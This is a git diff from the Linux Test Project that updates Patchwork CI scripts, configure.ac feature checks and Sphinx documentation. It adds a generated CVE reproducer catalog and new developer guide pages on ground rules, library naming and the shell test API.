- local date=$(date -u -d @$since_time +"%Y-%m-%dT%H:%M:%SZ") + local since_time + local date + + if [ -n "$PATCHWORK_SINCE_DATE" ]; then + since_time=$(date -u -d "$PATCHWORK_SINCE_DATE" +%s) + local max_since_time=$(expr $current_time - $PATCHWORK_MAX_SINCE) + + if [ "$since_time" -lt "$max_since_time" ]; then + since_time=$max_since_time + fi + else + since_time=$(expr $current_time - $PATCHWORK_SINCE) + fi + + date=$(date -u -d @$since_time +"%Y-%m-%dT%H:%M:%SZ") local stdout stdout=$(curl -k -G "$PATCHWORK_URL/api/events/" \ @@ -93,13 +108,20 @@ set_series_state() { get_checks() { local patch_id="$1" + local prefix="$2" local stdout stdout="$(curl -k -G $PATCHWORK_URL/api/patches/$patch_id/checks/)" [ $? -eq 0 ] || exit 1 - echo "$stdout" | jq -r '.[] | "\(.id)"' + if [ -n "$prefix" ]; then + echo "$stdout" | jq -r \ + --arg pfx "$prefix" \ + '.[] | select(.context | startswith($pfx)) | "\(.id)"' + else + echo "$stdout" | jq -r '.[] | "\(.id)"' + fi } already_tested() { @@ -108,7 +130,7 @@ already_tested() { get_patches "$series_id" | while read -r patch_id; do [ "$patch_id" ] || continue - get_checks "$patch_id" | while read -r check_id; do + get_checks "$patch_id" "$PATCHWORK_CI_PREFIX" | while read -r check_id; do if [ -n "$check_id" ]; then echo "$check_id" return @@ -146,7 +168,7 @@ send_results() { verify_token_exists - local context=$(echo "$3" | sed 's/:/_/g; s/\//-/g; s/\./-/g') + local context="$PATCHWORK_CI_PREFIX-$(echo "$3" | sed 's/:/_/g; s/\//-/g; s/\./-/g')" [ "$CC" ] && context="${context}_${CC}" [ "$ARCH" ] && context="${context}_${ARCH}" diff --git a/ltp/ci/tumbleweed.sh b/ltp/ci/tumbleweed.sh index 8a30b02c..8f23229d 100755 --- a/ltp/ci/tumbleweed.sh +++ b/ltp/ci/tumbleweed.sh @@ -30,6 +30,7 @@ while [ $i != 0 ]; do libtirpc-devel \ linux-glibc-devel \ lsb-release \ + e2fsprogs \ pkg-config ret=$? diff --git a/ltp/configure.ac b/ltp/configure.ac index 62ae27d4..0653d779 100644 --- a/ltp/configure.ac +++ b/ltp/configure.ac @@ -46,6 +46,8 @@ AC_CHECK_DECLS([MADV_MERGEABLE],,,[#include ]) AC_CHECK_DECLS([NFTA_CHAIN_ID, NFTA_VERDICT_CHAIN_ID],,,[#include ]) AC_CHECK_DECLS([PR_CAPBSET_DROP, PR_CAPBSET_READ],,,[#include ]) AC_CHECK_DECLS([SEM_STAT_ANY],,,[#include ]) +AC_CHECK_DECLS([IORING_OP_READ],,,[#include ]) +AC_CHECK_DECLS([IORING_OP_WRITE],,,[#include ]) AC_CHECK_HEADERS_ONCE([ \ aio.h \ @@ -137,6 +139,7 @@ AC_CHECK_FUNCS_ONCE([ \ move_mount \ name_to_handle_at \ open_tree \ + open_tree_attr \ openat \ openat2 \ pidfd_getfd \ @@ -172,6 +175,7 @@ AC_CHECK_FUNCS_ONCE([ \ ]) AC_CHECK_FUNCS(mkdtemp,[],AC_MSG_ERROR(mkdtemp() not found!)) +AC_CHECK_MEMBERS([struct iocb.aio_rw_flags],,,[#include ]) AC_CHECK_MEMBERS([struct fanotify_event_info_fid.fsid.__val],,,[#include ]) AC_CHECK_MEMBERS([struct perf_event_mmap_page.aux_head],,,[#include ]) AC_CHECK_MEMBERS([struct sigaction.sa_sigaction],[],[],[#include ]) @@ -188,6 +192,7 @@ AC_CHECK_MEMBERS([struct utsname.domainname],,,[ AC_CHECK_TYPES([enum kcmp_type],,,[#include ]) AC_CHECK_TYPES([struct acct_v3],,,[#include ]) AC_CHECK_TYPES([struct af_alg_iv, struct sockaddr_alg],,,[# include ]) +AC_CHECK_TYPES([struct clone_args],,,[#include ]) AC_CHECK_TYPES([struct fanotify_event_info_fid, struct fanotify_event_info_error, struct fanotify_event_info_header, struct fanotify_event_info_pidfd, struct fanotify_event_info_range],,,[#include ]) @@ -262,14 +267,27 @@ AC_CHECK_TYPES([struct cachestat_range],,,[#include ]) AC_CHECK_TYPES([struct cachestat],,,[#include ]) # Defined in , but include/lapi/mount.h includes */ -AC_CHECK_TYPES([struct mnt_id_req],,,[#include ]) +AC_CHECK_MEMBERS([struct mnt_id_req.mnt_ns_fd],,,[#include ]) AC_CHECK_TYPES([struct statmount],,,[#include ]) +AC_CHECK_MEMBERS([struct statmount.mnt_ns_id],,,[#include +#include ]) AC_CHECK_TYPES([struct pidfd_info],,,[#include ]) AC_CHECK_TYPES([struct file_attr],,,[#include ]) AC_CHECK_TYPES([struct fsxattr],,,[#include ]) +AC_CHECK_TYPES([struct logical_block_metadata_cap],,,[#include ]) + +AC_CHECK_TYPES([struct sockaddr_vm],,,[ +#include +#include +]) + +AC_CHECK_TYPES([struct uffdio_move],,,[#include ]) +AC_CHECK_TYPES([struct uffdio_poison],,,[#include ]) +AC_CHECK_TYPES([struct uffdio_writeprotect],,,[#include ]) + # Tools knobs # Bash @@ -386,9 +404,9 @@ AC_CONFIG_COMMANDS([syscalls.h], [cd ${ac_top_srcdir}/include/lapi/syscalls; ./g # NOTE: don't create custom functions for simple checks, put them into this file LTP_CHECK_ACL_SUPPORT LTP_CHECK_ATOMIC_MEMORY_MODEL -LTP_CHECK_BUILTIN_CLEAR_CACHE LTP_CHECK_CAPABILITY_SUPPORT LTP_CHECK_CC_WARN_OLDSTYLE +LTP_CHECK_CLEAR_CACHE LTP_CHECK_CRYPTO LTP_CHECK_FORTIFY_SOURCE LTP_CHECK_KERNEL_DEVEL diff --git a/ltp/doc/.gitignore b/ltp/doc/.gitignore index d84656f3..ef2d8f3f 100644 --- a/ltp/doc/.gitignore +++ b/ltp/doc/.gitignore @@ -1,6 +1,7 @@ .venv/ html/ build/ +_static/cve.rst _static/syscalls.rst _static/tests.rst syscalls.tbl diff --git a/ltp/doc/Makefile b/ltp/doc/Makefile index 3123b1cd..1da24053 100644 --- a/ltp/doc/Makefile +++ b/ltp/doc/Makefile @@ -31,7 +31,7 @@ spelling: clean: rm -rf html/ build/ _static/syscalls.rst _static/tests.rst syscalls.tbl \ - ${abs_top_builddir}/metadata/ltp.json + _static/cve.rst ${abs_top_builddir}/metadata/ltp.json distclean: clean rm -rf $(VENV_DIR) diff --git a/ltp/doc/_static/custom.css b/ltp/doc/_static/custom.css index c5816a55..5017fda2 100644 --- a/ltp/doc/_static/custom.css +++ b/ltp/doc/_static/custom.css @@ -4,6 +4,13 @@ } /* remove margin for multiline cells */ -.rst-content table td div.line-block { +.rst-content table td div.line-block, +.rst-content table td ul { margin-bottom: 0; } + +/* monospace and disable italic for C code, files and man pages */ +a.extlink-master, a.extlink-kernel_tree, a.extlink-kselftest, a.extlink-shell_lib, a.manpage, .std.std-ref { + font-style: normal; + font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", Courier, monospace; +} diff --git a/ltp/doc/conf.py b/ltp/doc/conf.py index d767969b..591c1534 100644 --- a/ltp/doc/conf.py +++ b/ltp/doc/conf.py @@ -19,6 +19,7 @@ author = 'Linux Test Project' release = '1.0' ltp_repo = 'https://github.com/linux-test-project/ltp' ltp_repo_base_url = f"{ltp_repo}/tree/master" +cve_url = "https://www.cve.org/CVERecord?id=" # -- General configuration --------------------------------------------------- # https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration @@ -30,20 +31,32 @@ extensions = [ 'sphinx.ext.extlinks', ] +# Configure autosectionlabel to prefix labels with document name +# This prevents duplicate labels when same test name appears in multiple files +autosectionlabel_prefix_document = True +# Only create labels for sections with unique names +autosectionlabel_maxdepth = 2 + +# Suppress duplicate label warnings for kernel-doc generated content +suppress_warnings = ['autosectionlabel.*'] + exclude_patterns = ["html*", '_static*', '.venv*'] extlinks = { 'repo': (f'{ltp_repo}/%s', '%s'), 'master': (f'{ltp_repo}/blob/master/%s', '%s'), - 'git_man': ('https://git-scm.com/docs/git-%s', 'git %s'), - 'man2': ('https://man7.org/linux/man-pages/man2/%s.2.html', '%s(2)'), + 'shell_lib': (f'{ltp_repo}/blob/master/testcases/lib/%s', '%s'), # TODO: allow 2nd parameter to show page description instead of plain URL 'kernel_doc': ('https://docs.kernel.org/%s.html', 'https://docs.kernel.org/%s.html'), 'kernel_tree': ('https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/%s', '%s'), + 'kselftest': ('https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/tools/testing/selftests/%s', '%s (kselftest)'), } +# Link to man pages +manpages_url = 'https://man7.org/linux/man-pages/man{section}/{page}.{section}.html' + spelling_lang = "en_US" spelling_warning = True -spelling_exclude_patterns = ['users/stats.rst'] +spelling_exclude_patterns = ['users/supported_syscalls.rst'] spelling_word_list_filename = "spelling_wordlist" # -- Options for HTML output ------------------------------------------------- @@ -53,11 +66,12 @@ html_theme = 'sphinx_rtd_theme' html_static_path = ['_static'] -def generate_syscalls_stats(_): +def generate_supported_syscalls(_): """ - Generate statistics for syscalls. We fetch the syscalls list from the kernel - sources, then we compare it with testcases/kernel/syscalls folder and - generate a file that is included in the statistics documentation section. + Generate supported syscalls documentation. We fetch the syscalls list + from the kernel sources, then we compare it with testcases/kernel/syscalls + folder and generate a file that is included in the supported syscalls + documentation section. """ output = '_static/syscalls.rst' @@ -87,6 +101,7 @@ def generate_syscalls_stats(_): 'landlock_restrict_self': f'{ltp_syscalls_path}/landlock', 'lsetxattr': f'{ltp_syscalls_path}/lgetxattr', 'newfstatat': f'{ltp_syscalls_path}/fstatat', + 'open_tree_attr': f'{ltp_syscalls_path}/mount_setattr', 'pkey_alloc': f'{ltp_syscalls_path}/pkeys', 'pkey_free': f'{ltp_syscalls_path}/pkeys', 'pkey_mprotect': f'{ltp_syscalls_path}/pkeys', @@ -279,7 +294,7 @@ def _generate_tags_table(tags): "linux-stable-git": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=", "glibc-git": "https://sourceware.org/git/?p=glibc.git;a=commit;h=", "musl-git": "https://git.musl-libc.org/cgit/musl/commit/src/linux/clone.c?id=", - "CVE": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-", + "CVE": cve_url + 'CVE-', } table = [ @@ -439,7 +454,9 @@ def generate_test_catalog(_): text = [ '.. warning::', ' The following catalog has been generated using LTP metadata', - ' which is including only tests using the new :ref:`LTP C API`.', + ' which is including only tests using ', + ' :doc:`../developers/api_c_tests` and ', + ' :doc:`../developers/api_shell_tests`.', '' ] @@ -531,6 +548,82 @@ def generate_test_catalog(_): with open(output, 'w+', encoding='utf-8') as new_tests: new_tests.write('\n'.join(text)) +def generate_cve_catalog(_): + """ + Generate CVE catalog in a single file by extracting CVE tags from + metadata/ltp.json. This creates a single _static/cve.rst file with + all CVE information and links to test sources. + """ + output = '_static/cve.rst' + metadata_file = '../metadata/ltp.json' + + # Load metadata + metadata = None + try: + with open(metadata_file, 'r', encoding='utf-8') as data: + metadata = json.load(data) + except FileNotFoundError: + logger = sphinx.util.logging.getLogger(__name__) + msg = f"Can't find metadata file ({metadata_file})" + logger.warning(msg) + return + + # Extract CVE information from test tags + cve_data = {} + tests = metadata.get('tests', {}) + + for test_name, test_info in tests.items(): + tags = test_info.get('tags', []) + for tag in tags: + if len(tag) >= 2 and tag[0] == 'CVE': + cve_id = tag[1].upper() + # Normalize CVE ID format: ensure it starts with "CVE-" + if not cve_id.startswith('CVE-'): + cve_id = 'CVE-' + cve_id + if cve_id not in cve_data: + cve_data[cve_id] = [] + cve_data[cve_id].append(test_name) + + # Generate single CVE catalog file + total_cves = len(cve_data) + text = [ + '.. note::', + ' The following CVE catalog has been generated from test', + ' metadata and includes all CVE reproducers in LTP.', + '', + f'LTP includes reproducers for {total_cves} known CVEs.', + '', + '.. list-table::', + ' :header-rows: 1', + ' :widths: 40 60', + '', + ' * - CVE ID', + ' - Test Name(s)', + ] + + # Add CVEs in descending order (newest first) + for cve_id in sorted(cve_data.keys(), reverse=True): + test_names = cve_data[cve_id] + + # Create cross-references for all tests + test_links = [] + for test_name in sorted(test_names): + test_anchor = f"users/test_catalog:{test_name}" + test_link = f":ref:`{test_name} <{test_anchor}>`" + test_links.append(test_link) + + # Join multiple tests with commas + tests_str = ', '.join(test_links) + + cve_link = f'`{cve_id} <{cve_url}{cve_id}>`_' + + text.extend([ + f' * - {cve_link}', + f' - {tests_str}', + ]) + + with open(output, 'w+', encoding='utf-8') as cve_catalog: + cve_catalog.write('\n'.join(text)) def setup(app): """ @@ -538,5 +631,6 @@ def setup(app): customizations. """ app.add_css_file('custom.css') - app.connect('builder-inited', generate_syscalls_stats) + app.connect('builder-inited', generate_supported_syscalls) + app.connect('builder-inited', generate_cve_catalog) app.connect('builder-inited', generate_test_catalog) diff --git a/ltp/doc/developers/api_c_tests.rst b/ltp/doc/developers/api_c_tests.rst index d1464598..26b46d92 100644 --- a/ltp/doc/developers/api_c_tests.rst +++ b/ltp/doc/developers/api_c_tests.rst @@ -1,5 +1,5 @@ .. SPDX-License-Identifier: GPL-2.0-or-later -.. Copyright (c) Linux Test Project, 2024 +.. Copyright (c) Linux Test Project, 2024-2025 .. Include headers in this file with: .. .. kernel-doc:: ../../include/tst_test.h @@ -25,6 +25,10 @@ Checkpoints .. kernel-doc:: ../../include/tst_checkpoint.h +Commands +-------- +.. kernel-doc:: ../../include/tst_cmd.h + Crypto ------ .. kernel-doc:: ../../include/tst_crypto.h @@ -37,6 +41,12 @@ Guarded buffers Kernel ------ .. kernel-doc:: ../../include/tst_kernel.h +.. kernel-doc:: ../../include/tst_kvercmp.h + +Process state +------------- + +.. kernel-doc:: ../../include/tst_process_state.h NUMA ---- @@ -47,10 +57,14 @@ Option parsing .. kernel-doc:: ../../include/tst_parse.h +Saving and restoring /proc|sys values +------------------------------------- +.. kernel-doc:: ../../include/tst_sys_conf.h + Temporary directory ------------------- .. kernel-doc:: ../../include/tst_tmpdir.h LTP libraries ------------- -.. kernel-doc:: ../../include/libswap.h +.. kernel-doc:: ../../include/tse_swap.h diff --git a/ltp/doc/developers/api_shell_tests.rst b/ltp/doc/developers/api_shell_tests.rst index b6e8560d..51bb04a4 100644 --- a/ltp/doc/developers/api_shell_tests.rst +++ b/ltp/doc/developers/api_shell_tests.rst @@ -2,3 +2,94 @@ LTP shell API ============= + +Shell API overview +------------------ + +First lines of the shell test should be a shebang, a license, and copyrights. + +.. code-block:: shell + + #!/bin/sh + # SPDX-License-Identifier: GPL-2.0-or-later + # Copyright 2099 Foo Bar + +A documentation comment block formatted in ReStructuredText should follow right +after these lines. This comment is parsed and exported into the LTP +documentation at https://linux-test-project.readthedocs.io/en/latest/users/test_catalog.html + +.. code-block:: shell + + # --- + # doc + # Test for a foo bar. + # + # This test is testing foo by checking that bar is doing xyz. + # --- + +The shell loader test library uses the :doc:`../developers/api_c_tests` +internally by parsing a special JSON formatted comment and +initializing it accordingly. The JSON format is nearly 1:1 serialization of the +:ref:`struct tst_test` into a JSON. The environment must be always preset even +when it's empty. + +.. code-block:: shell + + # --- + # env + # { + # "needs_root": true, + # "needs_tmpdir": true, + # "needs_kconfigs": ["CONFIG_NUMA=y"], + # "tags": { + # ["linux-git", "432fd03240fa"] + # } + # } + +After the documentation and environment has been laid out we finally import the +:shell_lib:`tst_loader.sh`. This will, among other things, start the +:shell_lib:`tst_run_shell.c` binary, that will parse the shell test environment +comment and initialize the C test library accordingly. + +.. code-block:: shell + + . tst_loader.sh + +At this point everything has been set up and we can finally write the test +function. The test results are reported by the usual functions :ref:`tst_res` and +:ref:`tst_brk`. As in the C API these functions store results into a piece of shared +memory as soon as they return so there is no need to propagate results event +from child processes. + +.. code-block:: shell + + tst_test() + { + tst_res TPASS "Bar enabled Foo" + } + +In order for the test to be actually executed the very last line of the script +must source the :shell_lib:`tst_run.sh` script. + +.. code-block:: shell + + . tst_run.sh + +In order to run a test from a LTP tree a few directories has to be added to the +`$PATH`. Note that the number of `../` may depend on the depth of the current +directory relative to the LTP root. + +.. code-block:: shell + + $ PATH=$PATH:$PWD:$PWD/../../lib/ ./foo01.sh + +Test setup and cleanup +---------------------- + +The test setup and cleanup functions are optional and passed via variables. +Similarly to the C API the setup is executed exactly once at the start of the +test and the test cleanup is executed at the test end or when test was +interrupted by :ref:`tst_brk`. + + .. literalinclude:: ../../testcases/lib/tests/shell_loader_setup_cleanup.sh + :language: shell diff --git a/ltp/doc/developers/debugging.rst b/ltp/doc/developers/debugging.rst index 181e5b09..6062fdec 100644 --- a/ltp/doc/developers/debugging.rst +++ b/ltp/doc/developers/debugging.rst @@ -9,9 +9,18 @@ Debug messages -------------- The LTP framework supports ``TDEBUG`` flag test debug messages. These -messages can be enabled using the ``-D`` parameter or setting ``LTP_ENABLE_DEBUG=1`` +messages can be enabled using the ``-D`` parameter or setting ``LTP_DEBUG`` environment variable (see :doc:`../users/setup_tests`). +Both ``-D`` parameter and ``LTP_DEBUG`` support the following verbosity levels: + + ``-D1`` (or ``-D``): Enable debug logs for the test process only. + ``-D2``: Enable verbose debug logs for both the test and library processes. + +Suppress all debug logs if no '-D' flag passed (default behavior). + +``LTP_DEBUG`` has higher preference than ``-D``. + Tracing and debugging syscalls ------------------------------ diff --git a/ltp/doc/developers/ground_rules.rst b/ltp/doc/developers/ground_rules.rst new file mode 100644 index 00000000..05e473ca --- /dev/null +++ b/ltp/doc/developers/ground_rules.rst @@ -0,0 +1,176 @@ +.. SPDX-License-Identifier: GPL-2.0-or-later + +Ground Rules +============ + +Do not work around kernel bugs +------------------------------ + +We have decided that we will not work around bugs in upstream LTP sources. If a +test fails on your system for a good reason, e.g. patch wasn't backported and +the bug is present, work around for this will not be accepted upstream. The +main reason for this decision is that this masks the failure for everyone else. + + +Do not synchronize by sleep +--------------------------- + +Why is sleep in tests bad then? +``````````````````````````````` + +The first problem is that it will likely introduce very rare test failures, +that means somebody has to spend time looking into these, which is a wasted +effort. Nobody likes tests that will fail rarely for no good reason. Even more +so you cannot run such tests with a background load to ensure that everything +works correctly on a busy system, because that will increase the likehood of a +failure. + +The second problem is that this wastes resources and slows down a test run. If +you think that adding a sleep to a test is not a big deal, lets have a look at +the bigger perspective. There are about 1600 syscall tests in Linux Test +Project, if 7.5% of them would sleep just for one second, we would end up with +two minutes of wasted time per testrun. In practice most of the tests, that +historically misused sleep for synchronization, waited for much longer just to +be sure that things will works even on slower hardware. With sleeps between 2 +and 5 seconds that puts us somewhere between 4 and 10 minutes which is between +13% and 33% of the syscall runtime on an outdated thinkpad, where the run +finishes in a bit less than half an hour. It's even worse on newer hardware, +because this slowdown will not change no matter how fast your machine is, which +is maybe the reason why this was acceptable twenty years ago but it's not now. + + +What to do instead? +``````````````````` + +Use proper synchronization. + +There are different problems and different solutions. Most often test needs to +synchronize between child and parent process. + +The easiest case is when parent needs to wait for a child to finish, that can +be fixed just be adding a :manpage:`waitpid(2)` in the parent which ensures that child +has finished before parent runs. + +Commonly child has to execute certain piece of code before parent can continue. +For that LTP library implements checkpoints with simple +:c:func:`TST_CHECKPOINT_WAIT()` and :c:func:`TST_CHECKPOINT_WAKE()` functions based +on futexes on a piece of shared memory set up by the test library. + +Another common case is when a child must sleep in a syscall before parent can +continue, for which we have a :c:func:`TST_PROCESS_STATE_WAIT()` helper that +polls `/proc/$PID/stat`. + +Less often test needs to wait for an action that is done asynchronously, or for +a kernel resource deallocation that is deferred to a later time. In such cases +the best we can do is to poll. In LTP we ended up with a macro that polls by +calling a piece of code in a loop with exponentially increasing sleeps between +retries until it succeeds. Which means that instead of sleeping for a maximal +time event can possibly take the sleep is capped by twice of the optimal +sleeping time while we avoid polling too aggressively. + + +Use runtime checks for kernel features +-------------------------------------- + +What is and what isn't supported by kernel is determined by the version and +configuration of the kernel the system is currently running on. That +especially means that any checks done during the compilation cannot be used to +assume features supported by the kernel the tests end up running on. The +compile time checks, done by :master:`configure.ac` script, are only useful for +enabling fallback kernel API definitions when missing, as we do in +:master:`include/lapi/` directory. + + +Don't require root unless it's essential +---------------------------------------- + +If root/caps are needed, say why in the test doc comment. Drop privileges for +the part that doesn't need them and avoid running the whole test as root +“because it's easier”. + + +Always clean up, even on failure +-------------------------------- + +Every test should leave the system as it found it: unmount, restore sysctls, +delete temp files/dirs, kill spawned processes, remove cgroups/namespaces, +detach loop devices, restore ulimits, etc. Cleanup must run on early-exit +paths too. + +The test library can simplify cleanup greatly as there are various helpers such as: + +- :c:type:`.needs_tmpdir = 1 ` that creates and deletes a temporary directory for the test +- :c:type:`.save_restore = 1 ` that saves and restores /sys/ and /proc/ files +- :c:type:`.needs_device = 1 ` sets up and tears down a block device for the test +- :c:type:`.restore_wallclock = 1 ` that restores wall clock after the test +- :c:type:`.needs_cgroup_ctrls = 1 ` sets up and cleans up cgroups for the test +- And many more. + + +Write portable code +------------------- + +Avoid nonstandard libc APIs when a portable equivalent exists; don't assume +64-bit, page size, endianness, or particular tool versions. + +If the test is specific to a certain architecture, make sure that it at least +compiles at the rest of architectures and set the +:c:type:`.supported_archs = const char *const []){"s390x", ..., NULL} `. + +This also applies to shell code where it's easy to use bash features that are +not available on other shell implementations, e.g. dash or busybox. Make sure +to stick to portable POSIX shell whenever possible. + +You can check for common mistakes, not only in portability, with our +``make check`` tooling. + + +Split changed into well defined chunks +-------------------------------------- + +When submitting patches make sure to split the work into small well-defined +chunks. Patches that touch many files or mix unrelated changes and features are +difficult to review and are likely to be delayed or even ignored. + +Aim for a single logical change per patch. Split more complex works into a +patch series where each patch: + + - builds/compiles successfully + - keeps tests and tooling functional + - does not introduce intermediate breakage + - has a clear commit message to explain the change + - significant changes need to be detailed in the cover letter + + +Be careful when using AI tools +------------------------------ + +AI tools can be useful for executing, summarizing, or suggesting approaches, +but they can also be confidently wrong and give an illusion of correctness. +Treat AI output as untrusted: verify claims against the code, documentation, +and actual behavior on a reproducer. + +Do not send AI-generated changes as raw patches. AI-generated diffs often +contain irrelevant churn, incorrect assumptions, inconsistent style, or subtle +bugs, which creates additional burden for maintainers to review and fix. + +Best practice is to write your own patches and have them reviewed by AI before +submitting them, which helps add beneficial improvements to your work. + + +Kernel features and RCs +----------------------- + +LTP tests or fixes for kernel changes that have not yet been released may be +posted to the LTP list for a review but they will not be be accepted until +respective kernel changes are released. Review of such changes is also +considered to be lower priority than rest of the changes. This is because +kernel changes especially in the early RC phase are volatile and could be +changed or reverted. + +These patches should also add a [STAGING] keyword into the patch subject, e.g. +"Subject: [PATCH v1][STAGING] fanotify: add test for (requires v6.19-rc3)" + +In a case that a test for unreleased kernel is really needed to be merged we do +not add it to the list of test executed by default and keep it in +:master:`runtest/staging` file until the kernel code is finalized. diff --git a/ltp/doc/developers/ltp_library.rst b/ltp/doc/developers/ltp_library.rst index f76cbb75..d2836ee7 100644 --- a/ltp/doc/developers/ltp_library.rst +++ b/ltp/doc/developers/ltp_library.rst @@ -15,6 +15,35 @@ for :doc:`writing tests <../developers/writing_tests>` #. Do not add new API functions to the old API. Add new functions to ``tst_.[ch]`` files. +Library naming and scope +------------------------ + +To keep the library API easy to navigate and to make layering explicit, LTP +library components follow these naming rules: + +- **tst_**: Core LTP library API (located in :master:`lib/`). + + - Stable, widely used interfaces intended for general consumption by tests. + - New public APIs should normally live here (in ``tst_*.h`` / ``tst_*.c``). + +- **tse_**: Non-core / extended library code (located in :master:`libs/`). + + - Optional or specialized helpers that are not part of the core API. + - May have narrower scope or fewer stability guarantees than ``tst_``. + - Can be promoted to ``tst_`` later if it becomes broadly useful and stable. + +- **tso_**: Legacy / old library code. + + - Kept for backward compatibility. + - No new features should be added; only minimal fixes are acceptable + (e.g. build fixes, correctness fixes, security fixes). + - New code should not depend on ``tso_`` unless strictly necessary. + +.. note:: + + Prefer adding new code to ``tst_`` or ``tse_``; avoid introducing new ``tso_`` components. + When adding a new public interface, document where it belongs (``tst_`` vs ``tse_``) and why. + Shell API --------- diff --git a/ltp/doc/developers/setup_mailinglist.rst b/ltp/doc/developers/setup_mailinglist.rst index 1eee0ae9..dd5fa27d 100644 --- a/ltp/doc/developers/setup_mailinglist.rst +++ b/ltp/doc/developers/setup_mailinglist.rst @@ -1,11 +1,11 @@ .. SPDX-License-Identifier: GPL-2.0-or-later -Setting up the Mailing list -=========================== +Setting up git for the LTP mailing list +======================================= -Before using ``git send-email``, you need to set up your email client to send -emails from the command line. This typically involves configuring an SMTP server -and authentication details. +Before using :manpage:`git-send-email(1)`, you need to set up your email client +to send emails from the command line. This typically involves configuring an +SMTP server and authentication details. Open a terminal and configure Git with your email settings using the following commands: @@ -27,7 +27,7 @@ To test the configuration you can use ``--dry-run`` parameter. .. code-block:: bash - git send-email --dry-run --to "ltp@lists.linux.it" --subject "Test Email" --body "This is a test email." HEAD^ + git send-email --dry-run --to "ltp@lists.linux.it" --subject "Test Email" HEAD^ Depending on your SMTP server's configuration, you may need to authenticate before sending emails. If required, configure authentication settings using: @@ -41,10 +41,14 @@ Replace ``your_email@example.com`` with your email address and ``your_password`` with your email account password. For any corner case, please take a look at the -`email + git `_ documentation. +`email + git `_ tutorial. .. note:: This method still works in most of the cases, but nowadays we often require to setup a two factor authentication. If this is the case, please consider setting up Git accordingly. + + Instead of :manpage:`git-send-email(1)` you may want to use + `b4 tool `_. + See LTP ``b4`` configuration: :master:`.b4-config`. diff --git a/ltp/doc/developers/test_case_tutorial.rst b/ltp/doc/developers/test_case_tutorial.rst index f6495c4d..240897e3 100644 --- a/ltp/doc/developers/test_case_tutorial.rst +++ b/ltp/doc/developers/test_case_tutorial.rst @@ -58,8 +58,8 @@ test. At the time of writing there is no test for this call which was introduced in Linux kernel version 4.11. Linux system call specific tests are primarily contained in -:master:`testcases/kernel/syscalls`, but you should also :git_man:`grep` the -entire LTP repository to check for any existing usages of a system call. +:master:`testcases/kernel/syscalls`, but you should also :manpage:`git-grep(1)` +the entire LTP repository to check for any existing usages of a system call. One way to find a system call which is not currently tested by the LTP is to look at :kernel_tree:`include/linux/syscalls.h` in the Linux kernel tree. @@ -205,9 +205,9 @@ please do: This should build the test and then run it. However, even though the test is in :master:`testcases/kernel/syscalls` directory it won't be automatically ran -as part of the syscalls test group (e.g. not run via ``kirk -r math`` or -``./runltp -f syscalls``). For this we need to add it to the runtest file. So -open :master:`runtest/syscalls` and add the lines starting with a ``+``. +as part of the syscalls test group (e.g. not run via ``kirk -r math``. For +this we need to add it to the runtest file. So open :master:`runtest/syscalls` +and add the lines starting with a ``+``. .. code-block:: @@ -252,8 +252,8 @@ to the below: smtpServer = smtp.server.address Obviously you need to at least change your name and e-mail. The SMTP server is -useful for :git_man:`send-email`, which we will discuss later. The editor value is -used for things like writing commits (without the ``-m`` option). +useful for :manpage:`git-send-email(1)`, which we will discuss later. The +editor value is used for things like writing commits (without the ``-m`` option). .. code-block:: bash @@ -906,7 +906,7 @@ re-committing. You can also use ``edit`` and ``git commit --amend`` together to change a commit deep in your history, but without resetting the 'index'. The 'index' contains -changes which you have staged with :git_man:`add`, but not yet committed. +changes which you have staged with :manpage:`git-add(1)`, but not yet committed. So now that the commit history has been cleaned up, we need to submit a patch to the mailing list or make a pull request on GitHub. The mailing list is the @@ -944,8 +944,8 @@ of the conflict. Usually, all you need to do is remove the lines you don't want, stage the changes and continue the ``rebase`` with ``git rebase --continue``. -In order to create a patch e-mail we use :git_man:`format-patch`, -we can then send that e-mail using :git_man:`send-email`. +In order to create a patch e-mail we use :manpage:`git-format-patch(1)`, +we can then send that e-mail using :manpage:`git-send-email(1)`. It is also possible to import the patch (``mbox``) file into a number of e-mail programs. @@ -993,7 +993,8 @@ results. Once someone points out such an error it is usually obvious to everyone that it is a bug and needs to be fixed. Obviously testing the patch is one way of finding errors. You can apply patches -using :git_man:`am`. Then it is just a case of compiling and running the tests. +using :manpage:`git-am(1)`. Then it is just a case of compiling and running the +tests. Finally, reading and attempting to comment on other peoples patches, gives you a better understanding of the reviewers perspective. This is better for diff --git a/ltp/doc/developers/todo.rst b/ltp/doc/developers/todo.rst new file mode 100644 index 00000000..4ca8612d --- /dev/null +++ b/ltp/doc/developers/todo.rst @@ -0,0 +1,65 @@ +.. SPDX-License-Identifier: GPL-2.0-or-later + +List of ongoing tasks +===================== + +This is a comprehensive list of tasks where LTP maintainers are currently +working on. Priorities might change over time, but these are the most important +points which are currently being achieved. + +Test new syscalls +----------------- + +Syscalls and new syscalls flags are added to Linux kernel each development +cycle and LTP still falls behind. Unfortunately there is no single place that +would store comprehensive list of syscalls, but there are a few places to look +at: + +- `man-pages repository `_ + or the ``man2`` directory, where it's possible to find newly documented + functionalities. +- `LWN `_ weekly editions. +- `linux-api mailing list `_ where + changes in kernel userspace API are discussed. +- `LTP Github issues `_ + +Rewrite old API tests +--------------------- + +LTP has a long story and, at certain point of its development, new API were +introduced to make kernel testing easier and more efficient. This happened when +lots of tests were still using old, messy API. + +Some of these tests have been converted to the new API, but this process is +still ongoing for many others. To have an overview of the tests using old API, +please run the following command inside the LTP root folder: + +.. code-block:: bash + + git --no-pager grep -l 'include "test\.h"' testcases/ + +Fade out shell scripts +---------------------- + +LTP was initially thought as a generic framework for running tests with both +shell and plain-C languages. Even if writing tests in shell script might seem +easy, the reality is that debugging and maintaining certain test cases is +difficult and slow down the whole validation process. This is particularly +visible for cgroup tests, since shell doesn't add enough control over race +conditions. + +LTP maintainers are working on converting shell scripts to plain-C tests, in +order to reduce the impact that shell scripts might have on the overall kernel +testing. + +For a complete list of shell tests, please run the following command inside the +LTP root folder: + +.. code-block:: bash + + git --no-pager grep -l -e '^\. .*_lib\.sh' -e '^\. .*test.sh' + +LTP also provides a shell loader implementation for plain-C tests inside +:master:`testcases/lib/tst_run_shell.c` and it permits to run shell tests +into plain-C LTP API, featuring :ref:`struct tst_test` initializations and a +direct access to kernel syscalls. 